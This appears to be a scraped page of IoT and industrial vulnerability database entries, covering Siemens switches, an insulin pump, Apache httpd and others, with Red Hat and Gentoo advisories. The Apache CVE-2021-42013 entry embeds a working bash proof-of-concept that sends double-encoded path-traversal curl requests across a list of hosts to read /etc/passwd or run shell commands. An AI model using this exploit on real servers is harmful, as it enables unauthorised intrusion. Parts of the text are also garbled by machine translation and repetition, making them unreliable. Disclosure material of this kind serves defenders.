VARIoT IoT vulnerabilities database

A vulnerability has been identified in JT2Go (All versions < V13.1.0), Teamcenter Visualization (All versions < V13.1.0). Affected applications lack proper validation of user-supplied data when parsing CGM files. This could lead to a stack based buffer overflow while trying to copy to a buffer during font string handling. An attacker could leverage this vulnerability to execute code in the context of the current process. JT2Go and Teamcenter Visualization Is vulnerable to an out-of-bounds write.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put into a state. JT2Go is a 3D JT viewing tool that allows users to view JT, PDF, Solid Edge, PLM XML and existing JT, VFZ, CGM, TIF data. Teamcenter visualization software enables companies to enhance their product lifecycle management (PLM) environment. The software enables corporate users to access documents, 2D drawings and 3D models in a single environment

A vulnerability has been identified in SCALANCE X-200RNA switch family (All versions < V3.2.7), SCALANCE X-300 switch family (incl. X408 and SIPLUS NET variants) (All versions < V4.1.0). Devices do not create a new unique private key after factory reset. An attacker could leverage this situation to a man-in-the-middle situation and decrypt previously captured traffic. SCALANCE X is a switch used to connect industrial components, such as programmable logic controllers (plc) or human machine interfaces (HMIs)

A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions < V5.2.5), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions < V5.5.0). The vulnerability could allow an unauthenticated attacker to reboot the device over the network by using special urls from integrated web server of the affected products. SCALANCE X-200 and SCALANCE X-200IRT A vulnerability exists in the switch family regarding the lack of authentication for critical features.Denial of service (DoS) It may be put into a state. SCALANCE X is a switch used to connect industrial components, such as programmable logic controllers (plc) or human machine interfaces (HMIs)

A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions < V5.2.5), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions < V5.5.0), SCALANCE X-300 switch family (incl. X408 and SIPLUS NET variants) (All versions < V4.1.0). The webserver of the affected devices contains a vulnerability that may lead to a heap overflow condition. An attacker could cause this condition on the webserver by sending specially crafted requests. This could stop the webserver temporarily. SCALANCE X-200 and SCALANCE X-200IRT An out-of-bounds write vulnerability exists in the switch family.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put into a state. SCALANCE X is a switch used to connect industrial components, such as programmable logic controllers (plc) or human machine interfaces (HMIs)

A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions < V5.2.5), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions < V5.5.0). The web server of the affected devices contains a vulnerability that may lead to a buffer overflow condition. An attacker could cause this condition on the webserver by sending a specially crafted request. The webserver could stop and not recover anymore. SCALANCE X-200 and SCALANCE X-200IRT An out-of-bounds write vulnerability exists in the switch family.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put into a state. SCALANCE X is a switch used to connect industrial components, such as programmable logic controllers (plc) or human machine interfaces (HMIs)

A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions < V5.2.5), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions < V5.5.0), SCALANCE X-200RNA switch family (All versions < V3.2.7). Devices create a new unique key upon factory reset, except when used with C-PLUG. When used with C-PLUG the devices use the hardcoded private RSA-key shipped with the firmware-image. An attacker could leverage this situation to a man-in-the-middle situation and decrypt previously captured traffic. SCALANCE X is a switch used to connect industrial components, such as programmable logic controllers (plc) or human machine interfaces (HMIs)

ASP.NET Core and Visual Studio Denial of Service Vulnerability. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ===================================================================== Red Hat Security Advisory Synopsis: Important: .NET 5.0 on Red Hat Enterprise Linux security and bugfix update Advisory ID: RHSA-2021:0096-01 Product: .NET Core on Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2021:0096 Issue date: 2021-01-13 CVE Names: CVE-2021-1723 ===================================================================== 1. Summary: An update for rh-dotnet50-dotnet is now available for .NET on Red Hat Enterprise Linux. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. 2. Relevant releases/architectures: .NET Core on Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 .NET Core on Red Hat Enterprise Linux Server (v. 7) - x86_64 .NET Core on Red Hat Enterprise Linux Workstation (v. 7) - x86_64 3. Description: .NET is a managed-software framework. It implements a subset of the .NET framework APIs and several new APIs, and it includes a CLR implementation. New versions of .NET that address a security vulnerability are now available. The updated versions are .NET SDK 5.0.102 and .NET Runtime 5.0.2. Security Fix(es): * dotnet: ASP.NET Core Callbacks outside of locks cause Krestel deadlock when using HTTP2 (CVE-2021-1723) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. 4. Solution: For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/11258 5. Bugs fixed (https://bugzilla.redhat.com/): 1914258 - CVE-2021-1723 dotnet: ASP.NET Core Callbacks outside of locks cause Krestel deadlock when using HTTP2 6. Package List: .NET Core on Red Hat Enterprise Linux ComputeNode (v. 7): Source: rh-dotnet50-dotnet-5.0.102-1.el7_9.src.rpm x86_64: rh-dotnet50-aspnetcore-runtime-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-aspnetcore-targeting-pack-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-apphost-pack-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-debuginfo-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-host-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-hostfxr-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-runtime-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-sdk-5.0-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-targeting-pack-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-templates-5.0-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-netstandard-targeting-pack-2.1-5.0.102-1.el7_9.x86_64.rpm .NET Core on Red Hat Enterprise Linux Server (v. 7): Source: rh-dotnet50-dotnet-5.0.102-1.el7_9.src.rpm x86_64: rh-dotnet50-aspnetcore-runtime-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-aspnetcore-targeting-pack-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-apphost-pack-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-debuginfo-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-host-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-hostfxr-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-runtime-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-sdk-5.0-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-targeting-pack-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-templates-5.0-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-netstandard-targeting-pack-2.1-5.0.102-1.el7_9.x86_64.rpm .NET Core on Red Hat Enterprise Linux Workstation (v. 7): Source: rh-dotnet50-dotnet-5.0.102-1.el7_9.src.rpm x86_64: rh-dotnet50-aspnetcore-runtime-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-aspnetcore-targeting-pack-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-apphost-pack-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-debuginfo-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-host-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-hostfxr-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-runtime-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-sdk-5.0-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-targeting-pack-5.0-5.0.2-1.el7_9.x86_64.rpm rh-dotnet50-dotnet-templates-5.0-5.0.102-1.el7_9.x86_64.rpm rh-dotnet50-netstandard-targeting-pack-2.1-5.0.102-1.el7_9.x86_64.rpm These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/ 7. References: https://access.redhat.com/security/cve/CVE-2021-1723 https://access.redhat.com/security/updates/classification/#important 8. Contact: The Red Hat security contact is <secalert@redhat.com>. More contact details at https://access.redhat.com/security/team/contact/ Copyright 2021 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIUAwUBX/8ENtzjgjWX9erEAQjh5A/2IdPxRp4QSVH27LBp52uli+P8iYNYUQzJ oSP0BhxXlPnwty70y6h3XF04F2AgWdqddLa07e/lQo/tZfD4x8a7N5qJzCd3AaHy bhQaw5Rs2Yi/JM3l7nJbwL3kMnQ6+rg/w9IZG0JLPjEnURlcJmIArgIuNmWPBoxP GRVhNlEohEwbQhgwwp0PJkIhX9MxvpVT0OPbcUV6TGox65X+b8kMuUfjRhuKdEge l97WHuXTXa6QZMgaH28lSe8Vo6tkhzH89UEgo4CweybzptzPEgNfD4GOfpOrt9HG iqiRhMnpVrfp+nqet1k+seBfjeTkMfZBmrGR8nsU69rCqG85gWvtuT5j5ba5PWRg hHAg/bG4zIRlvRgIgTD00wVkGL0DC4zE/iI3bXZ7ATdl8pCADi1+uRyBwshbjbvL jFo8RrHE4DCtM1+X0jJhPnED3tMQmNQkmYd/sUzj6dM1OfYUFu6CDnyqOo9wIPkD yYTKp1/2lM8eJDtihM4vRRtfBUicagPAQ7Qu52VjDs9PwtSAReDE0FAnnfqfoRqt FXwdqez+GIpc6JgVp+wgof9zY3mq+MKS3WKZwt+v7KUbsSrg0sQTYpuMI+JFjG9l ZzAeU/ifax0HbO4R3rz2evVsT4yLGcSW7Yb/cTuPypLMFojFpSDzpkODfw3TGArj allfL6TeAQ== =fmd6 -----END PGP SIGNATURE----- -- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce

A vulnerability has been identified in Opcenter Execution Core (V8.2), Opcenter Execution Core (V8.3). The application contains an information leakage vulnerability in the handling of web client sessions. A local attacker who has access to the Web Client Session Storage could disclose the passwords of currently logged-in users. The Opcenter execution core (previously known as Camstar Enterprise Platform) is a universally available manufacturing execution system (MES) by Siemens PLM software. Camstar Enterprise Platform and Opcenter Execution Core have security vulnerabilities that can be exploited by attackers to obtain sensitive information

A vulnerability has been identified in JT2Go (All versions < V13.1.0), Teamcenter Visualization (All versions < V13.1.0). Affected applications lack proper validation of user-supplied data when parsing of PCX files. This could result in a heap-based buffer overflow. An attacker could leverage this vulnerability to execute code in the context of the current process. JT2Go and Teamcenter Visualization Is vulnerable to an out-of-bounds write.Information is obtained, information is tampered with, and service is disrupted (DoS) It may be put into a state. JT2Go is a 3D JT viewing tool that allows users to view JT, PDF, Solid Edge, PLM XML and existing JT, VFZ, CGM, TIF data. Teamcenter visualization software enables companies to enhance their product lifecycle management (PLM) environment. The software enables corporate users to access documents, 2D drawings and 3D models in a single environment

It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions. This vulnerability information is reported directly to the product developer by the following person, and after coordination with the product developer, the purpose is to inform the product user. JVN It was announced at. Reporter : Internet Initiative Co., Ltd. Shugo Kumasaka Mr"" placed outside the document root by a remote third party. require all denied ” may allow unprotected files to be accessed. The server is fast, reliable and extensible through a simple API. A NULL pointer dereference was found in Apache httpd mod_h2. The highest threat from this flaw is to system integrity. (CVE-2021-33193) A NULL pointer dereference in httpd allows an unauthenticated remote malicious user to crash httpd by providing malformed HTTP requests. The highest threat from this vulnerability is to system availability. (CVE-2021-34798) An out-of-bounds read in mod_proxy_uwsgi of httpd allows a remote unauthenticated malicious user to crash the service through a crafted request. The highest threat from this vulnerability is to system availability. (CVE-2021-36160) An out-of-bounds write in function ap_escape_quotes of httpd allows an unauthenticated remote malicious user to crash the server or potentially execute code on the system with the privileges of the httpd user, by providing malicious input to the function. (CVE-2021-39275) A Server-Side Request Forgery (SSRF) flaw was found in mod_proxy of httpd. This flaw allows a remote, unauthenticated malicious user to make the httpd server forward requests to an arbitrary server. The attacker could get, modify, or delete resources on other services that may be behind a firewall and inaccessible otherwise. The impact of this flaw varies based on what services and resources are available on the httpd network. (CVE-2021-40438) While fuzzing the 2.4.49 httpd, a new null pointer dereference was detected during HTTP/2 request processing, allowing an external source to DoS the server. This requires a specially crafted request. The vulnerability was recently introduced in version 2.4.49. No exploit is known to the project. (CVE-2021-41524) A path transversal flaw was found in Apache 2.4.49. Additionally this flaw could leak the source of interpreted files like CGI scripts. Additionally, this flaw could leak the source of interpreted files like CGI scripts. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. This is an incomplete fix for CVE-2021-41773. (CVE-2021-42013). # Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE) # Date: 10/05/2021 # Exploit Author: Lucas Souza https://lsass.io # Vendor Homepage: https://apache.org/ # Version: 2.4.50 # Tested on: 2.4.50 # CVE : CVE-2021-42013 # Credits: Ash Daulton and the cPanel Security Team #!/bin/bash if [[ $1 == '' ]]; [[ $2 == '' ]]; then echo Set [TAGET-LIST.TXT] [PATH] [COMMAND] echo ./PoC.sh targets.txt /etc/passwd echo ./PoC.sh targets.txt /bin/sh id exit fi for host in $(cat $1); do echo $host curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done # PoC.sh targets.txt /etc/passwd # PoC.sh targets.txt /bin/sh whoami . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 202208-20 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - https://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: Apache HTTPD: Multiple Vulnerabilities Date: August 14, 2022 Bugs: #813429, #816399, #816864, #829722, #835131, #850622 ID: 202208-20 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======= Multiple vulnerabilities have been discovered in Apache Webserver, the worst of which could result in remote code execution. Affected packages ================ ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-admin/apache-tools < 2.4.54 >= 2.4.54 2 www-servers/apache < 2.4.54 >= 2.4.54 Description ========== Multiple vulnerabilities have been discovered in Apache HTTPD. Please review the CVE identifiers referenced below for details. Impact ===== Please review the referenced CVE identifiers for details. Workaround ========= There is no known workaround at this time. Resolution ========= All Apache HTTPD users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=www-servers/apache-2.4.54" All Apache HTTPD tools users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-admin/apache-tools-2.4.54" References ========= [ 1 ] CVE-2021-33193 https://nvd.nist.gov/vuln/detail/CVE-2021-33193 [ 2 ] CVE-2021-34798 https://nvd.nist.gov/vuln/detail/CVE-2021-34798 [ 3 ] CVE-2021-36160 https://nvd.nist.gov/vuln/detail/CVE-2021-36160 [ 4 ] CVE-2021-39275 https://nvd.nist.gov/vuln/detail/CVE-2021-39275 [ 5 ] CVE-2021-40438 https://nvd.nist.gov/vuln/detail/CVE-2021-40438 [ 6 ] CVE-2021-41524 https://nvd.nist.gov/vuln/detail/CVE-2021-41524 [ 7 ] CVE-2021-41773 https://nvd.nist.gov/vuln/detail/CVE-2021-41773 [ 8 ] CVE-2021-42013 https://nvd.nist.gov/vuln/detail/CVE-2021-42013 [ 9 ] CVE-2021-44224 https://nvd.nist.gov/vuln/detail/CVE-2021-44224 [ 10 ] CVE-2021-44790 https://nvd.nist.gov/vuln/detail/CVE-2021-44790 [ 11 ] CVE-2022-22719 https://nvd.nist.gov/vuln/detail/CVE-2022-22719 [ 12 ] CVE-2022-22720 https://nvd.nist.gov/vuln/detail/CVE-2022-22720 [ 13 ] CVE-2022-22721 https://nvd.nist.gov/vuln/detail/CVE-2022-22721 [ 14 ] CVE-2022-23943 https://nvd.nist.gov/vuln/detail/CVE-2022-23943 [ 15 ] CVE-2022-26377 https://nvd.nist.gov/vuln/detail/CVE-2022-26377 [ 16 ] CVE-2022-28614 https://nvd.nist.gov/vuln/detail/CVE-2022-28614 [ 17 ] CVE-2022-28615 https://nvd.nist.gov/vuln/detail/CVE-2022-28615 [ 18 ] CVE-2022-29404 https://nvd.nist.gov/vuln/detail/CVE-2022-29404 [ 19 ] CVE-2022-30522 https://nvd.nist.gov/vuln/detail/CVE-2022-30522 [ 20 ] CVE-2022-30556 https://nvd.nist.gov/vuln/detail/CVE-2022-30556 [ 21 ] CVE-2022-31813 https://nvd.nist.gov/vuln/detail/CVE-2022-31813 Availability =========== This GLSA and any updates to it are available for viewing at the Gentoo Security Website: https://security.gentoo.org/glsa/202208-20 Concerns? ======== Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ====== Copyright 2022 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. https://creativecommons.org/licenses/by-sa/2.5

SOOIL Developments CoLtd DiabecareRS, AnyDana-i ,AnyDana-A, communication protocol of the insulin pump & AnyDana-i,AnyDana-A mobile apps doesnt use adequate measures to protect encryption keys in transit which allows unauthenticated physically proximate attacker to sniff keys via (BLE). Dana Diabecare RS , AnyDana-i , AnyDana-A Is a product for controlling insulin, and a mobile application. SOOIL Developments The following vulnerabilities exist in multiple products provided by the company. ‥ * Use of hard-coded credentials (CWE-798) - CVE-2020-27256 ‥ * Inadequate protection of credentials (CWE-522) - CVE-2020-27258 ‥ * Insufficient use of random values (CWE-330) - CVE-2020-27264 ‥ * Use of client-side authentication (CWE-603) - CVE-2020-27266 ‥ * Apply server-side security on the client side (CWE-602) - CVE-2020-27268 ‥ * Capture-replay Authentication avoidance by (CWE-294) - CVE-2020-27269 ‥ * Unprotected transfer of credentials (CWE-523) - CVE-2020-27270 ‥ * Key exchange without entity authentication (CWE-322) - CVE-2020-27272 ‥ * Avoid authentication by spoofing (CWE-290) - CVE-2020-27276The expected impact depends on each vulnerability, but it may be affected as follows. ‥ * Insulin treatment settings changed by a third party who has physical access to the device - CVE-2020-27256 ‥ * By an unauthenticated third party Bluetooth Low Energy Pump keypad lock through PIN Be stolen - CVE-2020-27258 ‥ * By an unauthenticated third party Bluetooth Low Energy A brute force attack is carried out via the device, and the communication contents between the devices are eavesdropped. - CVE-2020-27264 ‥ * By an unauthenticated third party Bluetooth Low Energy Bypass user authentication via - CVE-2020-27266 ‥ * By an unauthenticated third party Bluetooth Low Energy Default through PIN Avoid checking - CVE-2020-27268 ‥ * By an unauthenticated third party Bluetooth Low Energy Replay attacks are carried out through, and information is stolen or tampered with. - CVE-2020-27269 ‥ * By an unauthenticated third party Bluetooth Low Energy Eavesdropping on the encryption key for communication via - CVE-2020-27270 ‥ * By an unauthenticated third party Bluetooth Low Energy Eavesdropped on the communication key via the device and spoofed as a pump - CVE-2020-27272 ‥ * By an unauthenticated third party Bluetooth Low Energy Authentication communication is stolen via - CVE-2020-27276

In SOOIL Developments Co., Ltd Diabecare RS, AnyDana-i and AnyDana-A, a client-side control vulnerability in the insulin pump and its AnyDana-i and AnyDana-A mobile applications allows physically proximate attackers to bypass user authentication checks via Bluetooth Low Energy. Dana Diabecare RS , AnyDana-i , AnyDana-A Is a product for controlling insulin, and a mobile application. SOOIL Developments The following vulnerabilities exist in multiple products provided by the company. ‥ * Use of hard-coded credentials (CWE-798) - CVE-2020-27256 ‥ * Inadequate protection of credentials (CWE-522) - CVE-2020-27258 ‥ * Insufficient use of random values (CWE-330) - CVE-2020-27264 ‥ * Use of client-side authentication (CWE-603) - CVE-2020-27266 ‥ * Apply server-side security on the client side (CWE-602) - CVE-2020-27268 ‥ * Capture-replay Authentication avoidance by (CWE-294) - CVE-2020-27269 ‥ * Unprotected transfer of credentials (CWE-523) - CVE-2020-27270 ‥ * Key exchange without entity authentication (CWE-322) - CVE-2020-27272 ‥ * Avoid authentication by spoofing (CWE-290) - CVE-2020-27276The expected impact depends on each vulnerability, but it may be affected as follows. ‥ * Insulin treatment settings changed by a third party who has physical access to the device - CVE-2020-27256 ‥ * By an unauthenticated third party Bluetooth Low Energy Pump keypad lock through PIN Be stolen - CVE-2020-27258 ‥ * By an unauthenticated third party Bluetooth Low Energy A brute force attack is carried out via the device, and the communication contents between the devices are eavesdropped. - CVE-2020-27264 ‥ * By an unauthenticated third party Bluetooth Low Energy Bypass user authentication via - CVE-2020-27266 ‥ * By an unauthenticated third party Bluetooth Low Energy Default through PIN Avoid checking - CVE-2020-27268 ‥ * By an unauthenticated third party Bluetooth Low Energy Replay attacks are carried out through, and information is stolen or tampered with. - CVE-2020-27269 ‥ * By an unauthenticated third party Bluetooth Low Energy Eavesdropping on the encryption key for communication via - CVE-2020-27270 ‥ * By an unauthenticated third party Bluetooth Low Energy Eavesdropped on the communication key via the device and spoofed as a pump - CVE-2020-27272 ‥ * By an unauthenticated third party Bluetooth Low Energy Authentication communication is stolen via - CVE-2020-27276

In SOOIL Developments Co., Ltd Diabecare RS, AnyDana-i and AnyDana-A, an information disclosure vulnerability in the communication protocol of the insulin pump and its AnyDana-i and AnyDana-A mobile applications allows unauthenticated attackers to extract the pump’s keypad lock PIN via Bluetooth Low Energy. Dana Diabecare RS , AnyDana-i , AnyDana-A Is a product for controlling insulin, and a mobile application. SOOIL Developments The following vulnerabilities exist in multiple products provided by the company. ‥ * Use of hard-coded credentials (CWE-798) - CVE-2020-27256 ‥ * Inadequate protection of credentials (CWE-522) - CVE-2020-27258 ‥ * Insufficient use of random values (CWE-330) - CVE-2020-27264 ‥ * Use of client-side authentication (CWE-603) - CVE-2020-27266 ‥ * Apply server-side security on the client side (CWE-602) - CVE-2020-27268 ‥ * Capture-replay Authentication avoidance by (CWE-294) - CVE-2020-27269 ‥ * Unprotected transfer of credentials (CWE-523) - CVE-2020-27270 ‥ * Key exchange without entity authentication (CWE-322) - CVE-2020-27272 ‥ * Avoid authentication by spoofing (CWE-290) - CVE-2020-27276The expected impact depends on each vulnerability, but it may be affected as follows. - CVE-2020-27264 ‥ * By an unauthenticated third party Bluetooth Low Energy Bypass user authentication via - CVE-2020-27266 ‥ * By an unauthenticated third party Bluetooth Low Energy Default through PIN Avoid checking - CVE-2020-27268 ‥ * By an unauthenticated third party Bluetooth Low Energy Replay attacks are carried out through, and information is stolen or tampered with. - CVE-2020-27269 ‥ * By an unauthenticated third party Bluetooth Low Energy Eavesdropping on the encryption key for communication via - CVE-2020-27270 ‥ * By an unauthenticated third party Bluetooth Low Energy Eavesdropped on the communication key via the device and spoofed as a pump - CVE-2020-27272 ‥ * By an unauthenticated third party Bluetooth Low Energy Authentication communication is stolen via - CVE-2020-27276

Guangzhou Edianbangke Intelligent Network Technology Co., Ltd. was established on May 22, 2014. The company's business scope includes: installation and management of charging pile facilities; technical consulting services for electronic equipment recycling; battery sales; software development; network technology research and development. An unauthorized access vulnerability exists in the equipment room bodyguard hardware of Guangzhou Edianbang Intelligent Network Technology Co., Ltd., which can be exploited by attackers to obtain sensitive information.

WIFI industrial router F5936 is an industrial grade WIFI router. Xiamen Sixin Communication Technology Co., Ltd. WIFI industrial router F5936 has a weak password vulnerability. Attackers can use the vulnerability to log in to the server backend to obtain sensitive information.

Ladder Editor is the upper computer programming software of GUTTA PLC system. Hitachi Industrial Machinery (China) Co., Ltd. Ladder Editor information disclosure vulnerability. Attackers can use vulnerabilities to obtain sensitive information.

Huawei Technologies Co., Ltd. is a global ICT (information and communications) infrastructure and smart terminal provider. Huawei IPC6625-Z30 and IPC6625-VRZ have information disclosure vulnerabilities. Attackers can use vulnerabilities to obtain sensitive information.

Huawei Technologies Co., Ltd. is a global ICT (information and communications) infrastructure and smart terminal provider. Huawei IPC6625-VRZ has an information disclosure vulnerability. Attackers can use vulnerabilities to obtain sensitive information.

Wangshen Information Technology (Beijing) Co., Ltd. focuses on network and information security. There is a weak password vulnerability in the background of the SecBMS 3600 bandwidth management system of NetGod. Attackers can use the vulnerability to log in to the system with a weak password to perform administrator operations.

NETGEAR WMS5316, the wireless controller is an easy-to-use device that simplifies the establishment and management of wireless networks. Netgear WMS5316 has a code execution vulnerability. An attacker can use this vulnerability to gain server permissions.